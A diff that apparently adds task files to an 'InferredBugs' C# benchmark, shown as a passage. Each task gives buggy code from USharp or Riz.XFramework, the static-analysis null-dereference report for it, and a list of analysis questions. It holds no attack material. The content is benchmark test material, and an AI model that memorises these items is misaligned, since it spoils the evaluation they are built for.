+            if (unrealFunction != null)
+            {
+                if (unrealFunction.HasAnyFunctionFlags(EFunctionFlags.Delegate))
+                {
+                    attributes.Add("UDelegate");
+                }
+                else
+                {
+                    string additionalFunctionInfo = string.Empty;
+                    if (unrealFunction.GetName().StartsWith("K2_") && unrealFunction.GetOwnerClass().HasAnyClassFlags(EClassFlags.Native))
+                    {
+                        additionalFunctionInfo = ", K2=true";
+                    }
+
+                    if (isCollapsedMember)
+                    {
+                        // The Flags here might not contain too useful information if there is both a get/set function.
+                        // Maybe include a second flags var?
+                        attributes.Add("UFunctionAsProp(Flags=0x" + ((uint)unrealFunction.FunctionFlags).ToString("X8") + additionalFunctionInfo + ")");
+                    }
+                    else
+                    {
+                        attributes.Add("UFunction(Flags=0x" + ((uint)unrealFunction.FunctionFlags).ToString("X8") + additionalFunctionInfo + ")");
+                    }
+                }
+            }
+
+            UProperty unrealProperty = field as UProperty;
+            if (unrealProperty != null)
+            {
+                attributes.Add("UProperty(Flags=(PropFlags)0x" + ((ulong)unrealProperty.PropertyFlags).ToString("X16") + ")");
+            }
+
+            if (unrealStruct != null)
+            {
+                attributes.Add("UStruct(Flags=0x" + ((uint)unrealStruct.StructFlags).ToString("X8") + ")");
+            }
+            else if (unrealClass != null)
+            {
+                // Abstract isn't really required but might help with code browsing to know what is abstract
+                // and what isn't. Therefore put it at the start of the attributes list.
+                if (unrealClass.HasAnyClassFlags(EClassFlags.Abstract))
+                {
+                    attributes.Add("Abstract");
+                }
+
+                isInterface = unrealClass.IsChildOf<UInterface>();
+                if (isInterface)
+                {
+                    attributes.Add("UInterface(Flags=0x" + ((uint)unrealClass.ClassFlags).ToString("X8") + ")");
+                }
+                else
+                {
+                    // Should we skip "inherit" config name?
+                    string configNameStr = string.Empty;
+                    if (unrealClass.ClassConfigName != FName.None &&
+                        !unrealClass.ClassConfigName.ToString().Equals("inherit", StringComparison.InvariantCultureIgnoreCase))
+                    {
+                        configNameStr = ", Config=\"" + unrealClass.ClassConfigName + "\"";
+                    }
+
+                    attributes.Add("UClass(Flags=(ClassFlags)0x" + ((uint)unrealClass.ClassFlags).ToString("X8") +
+                        configNameStr + ")");
+                }
+            }
+
+            if (unrealEnum != null)
+            {
+                attributes.Add("UEnum");
+            }
+
+            if (unrealEnum != null || unrealClass != null || unrealStruct != null)
+            {
+                bool blueprintType = false;
+                bool blueprintable = false;
+                if (unrealEnum != null)
+                {
+                    blueprintType = field.GetBoolMetaData(MDClass.BlueprintType);
+                }
+                else
+                {
+                    GetBlueprintability(field as UStruct, out blueprintType, out blueprintable);
+                }
+                if (blueprintType)
+                {
+                    attributes.Add(UMeta.GetKey(MDClass.BlueprintType));
+                }
+                if (unrealClass != null && blueprintable)
+                {
+                    attributes.Add(UMeta.GetKey(MDClass.Blueprintable));
+                }
+
+                if (isInterface)
+                {
+                }
+
+                attributes.Add("UMetaPath(\"" + field.GetPathName() + "\", \"" + moduleName +
+                    "\", UnrealModuleType." + GetUnrealModuleTypeString(moduleType, moduleAssetType) + 
+                    (isInterface ? ", InterfaceImpl=typeof(" + GetTypeName(unrealClass, null) + "Impl" + ")" : string.Empty) + ")");
+
+            }
+            else
+            {
+                attributes.Add("UMetaPath(\"" + field.GetPathName() + "\")");
+            }
+
+            if (attributes.Count > 0)
+            {
+                builder.AppendLine("[" + string.Join(", ", attributes) + "]");
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `null` is dereferenced by call to `GetPathName(...)` at line 130, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void CodeGenerator.AppendAttribute(CSharpTextBuilder,UField,CodeGenerator$UnrealModuleInfo,Boolean)
+
+### File:
+Managed/UnrealEngine.Runtime/UnrealEngine.Runtime/Internal/CodeGenerator/CodeGenerator.Attributes.cs
+
+### Key:
+CodeGenerator.Attributes.cs|AppendAttribute|NULL_DEREFERENCE
+
+### Node Key:
+3a2147135192b9867938f06f06ce66ee
+
+### Hash:
+c698cc1f6c94a76b74ab8dfce284dd93
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0538/instruction.md b/inferredbugs-0538/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..24f7e41e7f25013640b8490ecb332fb0917c2974
--- /dev/null
+++ b/inferredbugs-0538/instruction.md
@@ -0,0 +1,190 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** USharp
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace UnrealEngine.Runtime
+{
+    public partial class CodeGenerator
+    {
+        private void AppendAttribute(CSharpTextBuilder builder, UField field, UnrealModuleInfo module, StructInfo structInfo)
+        {
+            AppendAttribute(builder, field, module);
+            //if (field.IsA<UScriptStruct>() && structInfo.StructAsClass)
+            //{
+            //    builder.AppendLine("[" + Names.UStructAsClassAttributeShort + "]");
+            //}
+        }
+
+        private void AppendAttribute(CSharpTextBuilder builder, UField field, UnrealModuleInfo module)
+        {
+			UnrealModuleType moduleType;
+			UnrealModuleType moduleAssetType;
+			string moduleName = GetModuleName(field, out moduleType, out moduleAssetType);
+            if (string.IsNullOrEmpty(moduleName))
+            {
+				moduleName = module.Name;
+            }
+
+            List<string> attributes = new List<string>();
+
+            // TODO: Combine all of this into EPropertyType (add some TypeCode into UField?)
+            bool isInterface = false;
+			UEnum unrealEnum = field as UEnum;
+			UClass unrealClass = field as UClass;            
+            UScriptStruct unrealStruct = field as UScriptStruct;
+
+            UFunction unrealFunction = field as UFunction;
+            if (unrealFunction != null)
+            {
+                attributes.Add("UFunction(Flags=0x" + ((uint)unrealFunction.FunctionFlags).ToString("X8") + ")");
+            }
+
+            UProperty unrealProperty = field as UProperty;
+            if (unrealProperty != null)
+            {
+                attributes.Add("UProperty(Flags=(PropFlags)0x" + ((ulong)unrealProperty.PropertyFlags).ToString("X16") + ")");
+            }
+
+            if (unrealStruct != null)
+            {
+                attributes.Add("UStruct(Flags=0x" + ((uint)unrealStruct.StructFlags).ToString("X8") + ")");
+            }
+            else if (unrealClass != null)
+            {
+                // Abstract isn't really required but might help with code browsing to know what is abstract
+                // and what isn't. Therefore put it at the start of the attributes list.
+                if (unrealClass.HasAnyClassFlags(EClassFlags.Abstract))
+                {
+                    attributes.Add("Abstract");
+                }
+
+                isInterface = unrealClass.IsChildOf<UInterface>();
+                if (isInterface)
+                {
+                    attributes.Add("UInterface(Flags=0x" + ((uint)unrealClass.ClassFlags).ToString("X8") + ")");
+                }
+                else
+                {
+                    // Should we skip "inherit" config name?
+                    string configNameStr = string.Empty;
+                    if (unrealClass.ClassConfigName != FName.None &&
+                        !unrealClass.ClassConfigName.ToString().Equals("inherit", StringComparison.InvariantCultureIgnoreCase))
+                    {
+                        configNameStr = ", Config=\"" + unrealClass.ClassConfigName + "\"";
+                    }
+
+                    attributes.Add("UClass(Flags=(ClassFlags)0x" + ((uint)unrealClass.ClassFlags).ToString("X8") +
+                        configNameStr + ")");
+                }
+            }
+
+            if (unrealEnum != null)
+            {
+                attributes.Add("UEnum");
+            }
+
+            if (unrealEnum != null || unrealClass != null || unrealStruct != null)
+            {
+                bool blueprintType = false;
+                bool blueprintable = false;
+                if (unrealEnum != null)
+                {
+                    blueprintType = field.GetBoolMetaData(MDClass.BlueprintType);
+                }
+                else
+                {
+                    GetBlueprintability(field as UStruct, out blueprintType, out blueprintable);
+                }
+                if (blueprintType)
+                {
+                    attributes.Add(UMeta.GetKey(MDClass.BlueprintType));
+                }
+                if (blueprintable)
+                {
+                    attributes.Add(UMeta.GetKey(MDClass.Blueprintable));
+                }
+
+                if (isInterface)
+                {
+                }
+
+                attributes.Add("UMetaPath(\"" + field.GetPathName() + "\", \"" + moduleName +
+                    "\", UnrealModuleType." + GetUnrealModuleTypeString(moduleType, moduleAssetType) + 
+                    (isInterface ? ", InterfaceImpl=typeof(" + GetTypeName(unrealClass) + "Impl" + ")" : string.Empty) + ")");
+
+            }
+            else
+            {
+                attributes.Add("UMetaPath(\"" + field.GetPathName() + "\")");
+            }
+
+            if (attributes.Count > 0)
+            {
+                builder.AppendLine("[" + string.Join(", ", attributes) + "]");
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `null` is dereferenced by call to `GetPathName(...)` at line 130, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void CodeGenerator.AppendAttribute(CSharpTextBuilder,UField,CodeGenerator$UnrealModuleInfo,Boolean)
+
+### File:
+Managed/UnrealEngine.Runtime/UnrealEngine.Runtime/Internal/CodeGenerator/CodeGenerator.Attributes.cs
+
+### Key:
+CodeGenerator.Attributes.cs|AppendAttribute|NULL_DEREFERENCE
+
+### Node Key:
+3a2147135192b9867938f06f06ce66ee
+
+### Hash:
+c698cc1f6c94a76b74ab8dfce284dd93
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0552/instruction.md b/inferredbugs-0552/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b2c5b93eb4362affc80a7711f039b681a49ad461
--- /dev/null
+++ b/inferredbugs-0552/instruction.md
@@ -0,0 +1,629 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Riz.XFramework
+**Bug ID:** 20
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Data;
+using System.Linq.Expressions;
+using System.Collections.Generic;
+
+namespace TZM.XFramework.Data
+{
+    /// <summary>
+    /// 选择列表达式解析器
+    /// </summary>
+    public class ColumnExpressionVisitor : ExpressionVisitorBase
+    {
+        private static IDictionary<DbExpressionType, string> _statisMethods = null;
+        private IDbQueryProvider _provider = null;
+        private TableAliasCache _aliases = null;
+        private IDbQueryableInfo_Select _qQuery = null;
+        private DbExpression _groupBy = null;
+        private List<DbExpression> _include = null;
+
+        private ColumnCollection _pickColumns = null;
+        private NavigationCollection _navigations = null;
+        private List<string> _navChainHopper = null;
+        private int _startLength = 0;
+        private string _pickColumnText = null;
+
+        /// <summary>
+        /// 选中字段，Column 对应实体的原始属性
+        /// </summary>
+        public ColumnCollection PickColumns
+        {
+            get { return _pickColumns; }
+        }
+
+        /// <summary>
+        /// 选中字段的文本，给 Contains 表达式用
+        /// </summary>
+        public string PickColumnText
+        {
+            get
+            {
+                if (_pickColumnText == null)
+                {
+                    int count = _builder.Length - _startLength;
+                    if (count > 0)
+                    {
+                        char[] chars = new char[count];
+                        _builder.CopyTo(_startLength, chars, 0, count);
+                        _pickColumnText = new String(chars);
+                    }
+                }
+
+                return _pickColumnText;
+            }
+        }
+
+        /// <summary>
+        /// 导航属性描述信息
+        /// <para>
+        /// 从 <see cref="IDataReader"/> 到实体的映射需要使用这些信息来给导航属性赋值
+        /// </para>
+        /// </summary>
+        public NavigationCollection Navigations
+        {
+            get { return _navigations; }
+        }
+
+        static ColumnExpressionVisitor()
+        {
+            _statisMethods = new Dictionary<DbExpressionType, string>
+            {
+                { DbExpressionType.Count,"COUNT" },
+                { DbExpressionType.Max,"MAX" },
+                { DbExpressionType.Min,"MIN" },
+                { DbExpressionType.Average,"AVG" },
+                { DbExpressionType.Sum,"SUM" }
+            };
+        }
+
+        /// <summary>
+        /// 初始化 <see cref="ColumnExpressionVisitor"/> 类的新实例
+        /// </summary>
+        public ColumnExpressionVisitor(IDbQueryProvider provider, TableAliasCache aliases, IDbQueryableInfo_Select qQuery)
+            : base(provider, aliases, qQuery.SelectExpression.Expressions != null ? qQuery.SelectExpression.Expressions[0] : null)
+        {
+            _provider = provider;
+            _aliases = aliases;
+            _qQuery = qQuery;
+            _groupBy = qQuery.GroupByExpression;
+            _include = qQuery.Includes;
+
+            if (_pickColumns == null) _pickColumns = new ColumnCollection();
+            _navigations = new NavigationCollection();
+            _navChainHopper = new List<string>(10);
+        }
+
+        /// <summary>
+        /// 将表达式所表示的SQL片断写入SQL构造器
+        /// </summary>
+        public override void Write(ISqlBuilder builder)
+        {
+            if (base.Expression != null)
+            {
+                base._builder = builder;
+                _builder.AppendNewLine();
+                _startLength = _builder.Length;
+                if (base._methodVisitor == null) base._methodVisitor = _provider.CreateMethodVisitor(this);
+
+                // SELECT 表达式解析
+                if (base.Expression.NodeType != ExpressionType.Constant) base.Write(builder);
+                else
+                {
+                    // if have no select syntax
+                    Type type = (base.Expression as ConstantExpression).Value as Type;
+                    this.VisitAllMember(type, "t0");
+                }
+                // Include 表达式解析<导航属性>
+                this.VisitInclude();
+                // 去掉空白字符
+                _builder.TrimEnd(' ', ',');
+            }
+        }
+
+        // p=>p p=>p.t p=>p.Id
+        protected override Expression VisitLambda<T>(Expression<T> node)
+        {
+            LambdaExpression lambda = node as LambdaExpression;
+            if (lambda.Body.NodeType == ExpressionType.Parameter)
+            {
+                // 例： a=> a
+                Type type = lambda.Body.Type;
+                string alias = _aliases.GetTableAlias(lambda);
+                this.VisitAllMember(type, alias);
+                return node;
+            }
+            else if (lambda.Body.CanEvaluate())
+            {
+                // 例：a=>1
+                base.Visit(lambda.Body.Evaluate());
+
+                // 选择字段
+                string newName = _pickColumns.Add(Constant.CONSTANTNAME);
+                // 添加字段别名
+                _builder.AppendAs(newName);
+                return node;
+            }
+            else if (lambda.Body.NodeType == ExpressionType.MemberAccess)
+            {
+                // 例： t=> t.a
+                // => SELECT a.ClientId
+                Type type = lambda.Body.Type;
+                if (!TypeUtils.IsPrimitiveType(type)) return this.VisitAllMember(type, _aliases.GetTableAlias(lambda.Body), node);
+                else
+                {
+                    var newNode = this.VisitWithoutRemark(x => base.VisitLambda(node));
+                    string newName = _pickColumns.Add((lambda.Body as MemberExpression).Member.Name);
+                    return newNode;
+                }
+            }
+            else
+            {
+                return base.VisitLambda(node);
+            }
+        }
+
+        // => new App() {Id = p.Id}}
+        protected override Expression VisitMemberInit(MemberInitExpression node)
+        {// 如果有一对多的导航属性会产生嵌套的SQL，这时需要强制主表选择的列里面必须包含导航外键
+            // TODO #对 Bindings 进行排序，保证导航属性的赋值一定要最后面#
+            // 未实现，在书写表达式时人工保证 ##
+
+            if (node.NewExpression != null) this.VisitNewImpl(node.NewExpression);
+            if (_navChainHopper.Count == 0) _navChainHopper.Add(node.Type.Name);
+
+            for (int i = 0; i < node.Bindings.Count; i++)
+            {
+                MemberAssignment binding = node.Bindings[i] as MemberAssignment;
+                if (binding == null) throw new XFrameworkException("Only 'MemberAssignment' binding supported.");
+
+                Type propertyType = (node.Bindings[i].Member as System.Reflection.PropertyInfo).PropertyType;
+                bool isNavigation = !TypeUtils.IsPrimitiveType(propertyType);
+
+                #region 一般属性
+
+                // 非导航属性
+                if (!isNavigation)
+                {
+                    if (binding.Expression.CanEvaluate())
+                        _builder.Append(binding.Expression.Evaluate().Value, binding.Member, node.Type);
+                    else
+                        this.VisitWithoutRemark(x => this.VisitMemberBinding(binding));
+
+                    // 选择字段
+                    string newName = _pickColumns.Add(binding.Member.Name);
+                    // 添加字段别名
+                    _builder.AppendAs(newName);
+                    _builder.Append(',');
+                    _builder.AppendNewLine();
+                }
+
+                #endregion 一般属性
+
+                #region 导航属性
+
+                else
+                {
+                    // 非显式指定的导航属性需要有 ForeignKeyAttribute
+                    if (binding.Expression.NodeType == ExpressionType.MemberAccess && binding.Expression.Acceptable())
+                    {
+                        var typeRuntime = TypeRuntimeInfoCache.GetRuntimeInfo(binding.Member.DeclaringType);
+                        var attribute = typeRuntime.GetInvokerAttribute<ForeignKeyAttribute>(binding.Member.Name);
+                        if (attribute == null) throw new XFrameworkException("Complex property {{{0}}} must mark 'ForeignKeyAttribute' ", binding.Member.Name);
+                    }
+
+                    // 生成导航属性描述集合，以类名.属性名做为键值
+                    int n = _navChainHopper.Count;
+                    string keyName = _navChainHopper.Count > 0 ? _navChainHopper[_navChainHopper.Count - 1] : string.Empty;
+                    keyName = !string.IsNullOrEmpty(keyName) ? keyName + "." + binding.Member.Name : binding.Member.Name;
+                    Navigation nav = new Navigation(keyName, binding.Member);
+                    if (!_navigations.ContainsKey(keyName))
+                    {
+                        // fix issue# XC 列占一个位
+                        nav.Start = _pickColumns.Count;
+                        nav.FieldCount = GetFieldCount(binding.Expression) + (binding.Expression.NodeType == ExpressionType.MemberAccess && binding.Expression.Acceptable() ? 1 : 0);
+                        _navigations.Add(keyName, nav);
+                        _navChainHopper.Add(keyName);
+                    }
+
+                    // 1.不显式指定导航属性，例：a.Client.ClientList
+                    // 2.表达式里显式指定导航属性，例：b
+                    if (binding.Expression.NodeType == ExpressionType.MemberAccess) this.VisitNavigation(binding.Expression as MemberExpression, binding.Expression.Acceptable());
+                    else if (binding.Expression.NodeType == ExpressionType.New) this.VisitNewImpl(binding.Expression as NewExpression);
+                    else if (binding.Expression.NodeType == ExpressionType.MemberInit) this.VisitMemberInit(binding.Expression as MemberInitExpression);
+
+                    // 恢复访问链
+                    // 在访问导航属性时可能是 Client.CloudServer，这时要恢复为 Client，以保证能访问 Client 的下一个导航属性
+                    if (_navChainHopper.Count != n) _navChainHopper.RemoveAt(_navChainHopper.Count - 1);
+                }
+
+                #endregion 导航属性
+            }
+
+            return node;
+        }
+
+        // => Client = a.Client.CloudServer
+        private Expression VisitNavigation(MemberExpression node, bool visitNavigation)
+        {
+            string alias = string.Empty;
+            Type type = node.Type;
+
+            if (node.Acceptable())
+            {
+                // 例： Client = a.Client.CloudServer
+                // fix issue# Join 表达式显式指定导航属性时时，alias 为空
+                // fix issue# 多个导航属性时 AppendNullColumn 只解析当前表达式的
+                int index = 0;
+                int num = this.NavMembers != null ? this.NavMembers.Count : 0;
+                alias = this.VisitNavMember(node);
+
+                if (num != this.NavMembers.Count)
+                {
+                    foreach (var kvp in NavMembers)
+                    {
+                        index += 1;
+                        if (index < NavMembers.Count && index > num) alias = _aliases.GetNavigationTableAlias(kvp.Key);
+                        else
+                        {
+                            alias = _aliases.GetNavigationTableAlias(kvp.Key);
+                            type = kvp.Value.Type;
+                        }
+                    }
+                }
+                else
+                {
+                }
+            }
+            else
+            {
+                // 例： Client = b
+                alias = _aliases.GetTableAlias(node);
+                type = node.Type;
+            }
+
+            if (type.IsGenericType) type = type.GetGenericArguments()[0];
+            this.VisitAllMember(type, alias);
+            if (visitNavigation) AddSplitOnColumn(node.Member, alias);
+
+            return node;
+        }
+
+        // => new  {Id = p.Id}
+        protected override Expression VisitNew(NewExpression node)
+        {
+            // TODO 未支持匿名类的导航属性
+            // MemberInit的New
+            // 匿名类的New
+            if (node == null) return node;
+            if (node.Arguments == null || node.Arguments.Count == 0)
+                throw new XFrameworkException("'NewExpression' do not have any argument.");
+
+            this.VisitNewImpl(node);
+
+            return node;
+        }
+
+        // 遍历New表达式的参数集
+        private Expression VisitNewImpl(NewExpression node)
+        {
+            for (int i = 0; i < node.Arguments.Count; i++)
+            {
+                Expression expression = node.Arguments[i];
+                Type type = expression.Type;
+                int visitedQty = _visitedMark.Count;
+
+                if (expression.NodeType == ExpressionType.Parameter)
+                {
+                    //例： new Client(a)
+                    string alias = _aliases.GetTableAlias(expression);
+                    this.VisitAllMember(type, alias);
+                }
+                else if (expression.CanEvaluate())
+                {
+                    //例： DateTime.Now
+                    _builder.Append(expression.Evaluate().Value, node.Members[i], node.Type);
+                    this.VisitNewImpl_AddNewName(node.Members != null ? node.Members[i].Name : (expression as MemberExpression).Member.Name);
+                }
+                else if (expression.NodeType == ExpressionType.MemberAccess || expression.NodeType == ExpressionType.Call)
+                {
+                    bool isNavigation = !type.IsEnum && !TypeUtils.IsPrimitiveType(type);
+                    if (isNavigation) this.VisitNavigation(expression as MemberExpression, false);
+                    else
+                    {
+                        // new Client(a.ClientId)
+                        this.Visit(expression);
+                        this.VisitNewImpl_AddNewName(node.Members != null ? node.Members[i].Name : (expression as MemberExpression).Member.Name);
+                    }
+                }
+                else
+                {
+                    base.Visit(expression);
+                    this.VisitNewImpl_AddNewName(node.Members != null ? node.Members[i].Name : (expression as MemberExpression).Member.Name);
+                }
+
+                // 删除本次访问的成员痕迹
+                if (_visitedMark.Count != visitedQty) _visitedMark.Remove(_visitedMark.Count - visitedQty);
+            }
+
+            return node;
+        }
+
+        private void VisitNewImpl_AddNewName(string memberName)
+        {
+            string newName = _pickColumns.Add(memberName);
+            _builder.AppendAs(newName);
+            _builder.Append(',');
+            _builder.AppendNewLine();
+        }
+
+        // g.Key.CompanyName & g.Max(a)
+        protected override Expression VisitMember(MemberExpression node)
+        {
+            if (node == null) return node;
+            else if (_groupBy == null || !node.IsGrouping()) return base.VisitMember(node);
+            else
+            {
+                // Group By 解析  CompanyName = g.Key.Name
+                LambdaExpression keySelector = _groupBy.Expressions[0] as LambdaExpression;
+                Expression exp = null;
+                Expression body = keySelector.Body;
+
+                if (body.NodeType == ExpressionType.MemberAccess)
+                {
+                    // group xx by a.CompanyName
+                    exp = body;
+
+                    //
+                    //
+                    //
+                    //
+                }
+                else if (body.NodeType == ExpressionType.New)
+                {
+                    // group xx by new { Name = a.CompanyName  }
+
+                    string memberName = node.Member.Name;
+                    NewExpression newExp = body as NewExpression;
+                    int index = newExp.Members.IndexOf(x => x.Name == memberName);
+                    exp = newExp.Arguments[index];
+                }
+
+                return this.Visit(exp);
+            }
+        }
+
+        // 选择所有的字段
+        private Expression VisitAllMember(Type type, string alias, Expression node = null)
+        {
+            if (_groupBy != null && node != null && node.IsGrouping())
+            {
+                // select g.Key
+                LambdaExpression keySelector = _groupBy.Expressions[0] as LambdaExpression;
+                return this.Visit(keySelector.Body);
+            }
+            else
+            {
+                TypeRuntimeInfo typeRuntime = TypeRuntimeInfoCache.GetRuntimeInfo(type);
+                MemberInvokerCollection invokers = typeRuntime.Invokers;
+
+                foreach (var invoker in invokers)
+                {
+                    if (invoker != null && invoker.Column != null && invoker.Column.NoMapped) continue;
+                    if (invoker != null && invoker.ForeignKey != null) continue; // 不加载导航属性
+                    if (invoker.Member.MemberType == System.Reflection.MemberTypes.Method) continue;
+
+                    _builder.AppendMember(alias, invoker.Member.Name);
+
+                    // 选择字段
+                    string newName = _pickColumns.Add(invoker.Member.Name);
+                    _builder.AppendAs(newName);
+                    _builder.Append(",");
+                    _builder.AppendNewLine();
+                }
+            }
+
+            return node;
+        }
+
+        // g.Max(a=>a.Level)
+        protected override Expression VisitMethodCall(MethodCallExpression node)
+        {
+            if (_groupBy != null && node.IsGrouping())
+            {
+                DbExpressionType dbExpressionType = DbExpressionType.None;
+                Enum.TryParse(node.Method.Name, out dbExpressionType);
+                Expression exp = dbExpressionType == DbExpressionType.Count
+                    ? Expression.Constant(1)
+                    : (node.Arguments.Count == 1 ? null : node.Arguments[1]);
+                if (exp.NodeType == ExpressionType.Lambda) exp = (exp as LambdaExpression).Body;
+
+                // 如果是 a=> a 这种表达式，那么一定会指定 elementSelector
+                if (exp.NodeType == ExpressionType.Parameter) exp = _groupBy.Expressions[1];
+
+                _builder.Append(_statisMethods[dbExpressionType]);
+                _builder.Append("(");
+                this.Visit(exp);
+                _builder.Append(")");
+
+                return node;
+            }
+
+            return base.VisitMethodCall(node);
+        }
+
+        // 遍历 Include 包含的导航属性
+        private void VisitInclude()
+        {
+            if (_include == null || _include.Count == 0) return;
+
+            foreach (var dbExpression in _include)
+            {
+                Expression exp = dbExpression.Expressions[0];
+                if (exp == null) continue;
+
+                if (exp.NodeType == ExpressionType.Lambda) exp = (exp as LambdaExpression).Body;
+                MemberExpression memberExpression = exp as MemberExpression;
+                if (memberExpression == null) throw new XFrameworkException("Include expression body must be 'MemberExpression'.");
+
+                // 例：Include(a => a.Client.AccountList[0].Client)
+                // 解析导航属性链
+                List<Expression> chain = new List<Expression>();
+                while (memberExpression != null)
+                {
+                    // a.Client 要求 <Client> 必须标明 ForeignKeyAttribute
+                    TypeRuntimeInfo typeRuntime = TypeRuntimeInfoCache.GetRuntimeInfo(memberExpression.Expression.Type);
+                    ForeignKeyAttribute attribute = typeRuntime.GetInvokerAttribute<ForeignKeyAttribute>(memberExpression.Member.Name);
+                    if (attribute == null) throw new XFrameworkException("Include member {{{0}}} must mark 'ForeignKeyAttribute'.", memberExpression);
+
+                    MemberExpression m = null;
+                    chain.Add(memberExpression);
+                    if (memberExpression.Expression.NodeType == ExpressionType.MemberAccess) m = (MemberExpression)memberExpression.Expression;
+                    else if (memberExpression.Expression.NodeType == ExpressionType.Call) m = (memberExpression.Expression as MethodCallExpression).Object as MemberExpression;
+
+                    //var m = memberExpression.Expression as MemberExpression;
+                    if (m == null) chain.Add(memberExpression.Expression);
+                    memberExpression = m;
+                }
+
+                // 生成导航属性描述信息
+                string keyName = string.Empty;
+                for (int i = chain.Count - 1; i >= 0; i--)
+                {
+                    Expression expression = chain[i];
+                    memberExpression = expression as MemberExpression;
+                    if (memberExpression == null) continue;
+
+                    keyName = memberExpression.GetKeyWidthoutAnonymous(true);
+                    if (!_navigations.ContainsKey(keyName))
+                    {
+                        // fix issue# XC 列占一个位
+                        Navigation descriptor = new Navigation(keyName, memberExpression.Member);
+                        descriptor.Start = i == 0 ? _pickColumns.Count : -1;//_columns.Count;
+                        descriptor.FieldCount = i == 0 ? (GetFieldCount(exp) + 1) : -1; //i == 0 ? (GetFieldCount(exp) + 1) : 1;//-1;
+                        _navigations.Add(keyName, descriptor);
+                    }
+                }
+
+                this.VisitNavigation(memberExpression, true);
+            }
+        }
+
+        // 添加额外列，用来判断整个（左）连接记录是否为空
+        private void AddSplitOnColumn(System.Reflection.MemberInfo member, string alias)
+        {
+            TypeRuntimeInfo typeRuntime = TypeRuntimeInfoCache.GetRuntimeInfo(member.DeclaringType);
+            var foreignKey = typeRuntime.GetInvokerAttribute<ForeignKeyAttribute>(member.Name);
+            string keyName = foreignKey.OuterKeys[0];
+
+            _builder.Append("CASE WHEN ");
+            _builder.AppendMember(alias, keyName);
+            _builder.Append(" IS NULL THEN NULL ELSE ");
+            _builder.AppendMember(alias, keyName);
+            _builder.Append(" END");
+
+            // 选择字段
+            string newName = _pickColumns.Add(Constant.NAVIGATIONSPLITONNAME);
+            //_builder.Append(caseWhen);
+            _builder.AppendAs(newName);
+            _builder.Append(',');
+            _builder.AppendNewLine();
+        }
+
+        // 计算数据库字段数量
+        private static int GetFieldCount(Expression node)
+        {
+            int num = 0;
+
+            switch (node.NodeType)
+            {
+                case ExpressionType.MemberInit:
+                    MemberInitExpression m = node as MemberInitExpression;
+                    foreach (var exp in m.NewExpression.Arguments) num += _typeFieldAggregator(exp);
+                    foreach (MemberAssignment ma in m.Bindings) num += _primitiveAggregator((ma.Member as System.Reflection.PropertyInfo).PropertyType);
+
+                    break;
+
+                case ExpressionType.MemberAccess:
+                    MemberExpression m1 = node as MemberExpression;
+                    num += _typeFieldAggregator(m1);
+
+                    break;
+
+                case ExpressionType.New:
+                    NewExpression m2 = node as NewExpression;
+                    foreach (var exp in m2.Arguments) num += _typeFieldAggregator(exp);
+                    if (m2.Members != null) foreach (var member in m2.Members) num += _primitiveAggregator((member as System.Reflection.PropertyInfo).PropertyType);
+
+                    break;
+            }
+
+            return num;
+        }
+
+        private static Func<Expression, int> _typeFieldAggregator = exp =>
+              exp.NodeType == ExpressionType.MemberAccess && TypeUtils.IsPrimitiveType(exp.Type) ? 1 : TypeRuntimeInfoCache.GetRuntimeInfo(exp.Type.IsGenericType ? exp.Type.GetGenericArguments()[0] : exp.Type).DataFieldCount;
+
+        private static Func<Type, int> _primitiveAggregator = type => TypeUtils.IsPrimitiveType(type) ? 1 : 0;
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `m2` last assigned on line 564 could be null and is dereferenced at line 565, column 41.
+
+### Severity:
+ERROR
+
+### Procedure:
+Int32 ColumnExpressionVisitor.GetFieldCount(Expression)
+
+### File:
+net45/TZM.XFramework/Data/ExpressionVisitor/ColumnExpressionVisitor.cs
+
+### Key:
+ColumnExpressionVisitor.cs|GetFieldCount|NULL_DEREFERENCE
+
+### Node Key:
+277c5e4fc7793eba679254e42372b233
+
+### Hash:
+95fab2d3444e3daf281008ab1e1c06d0
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
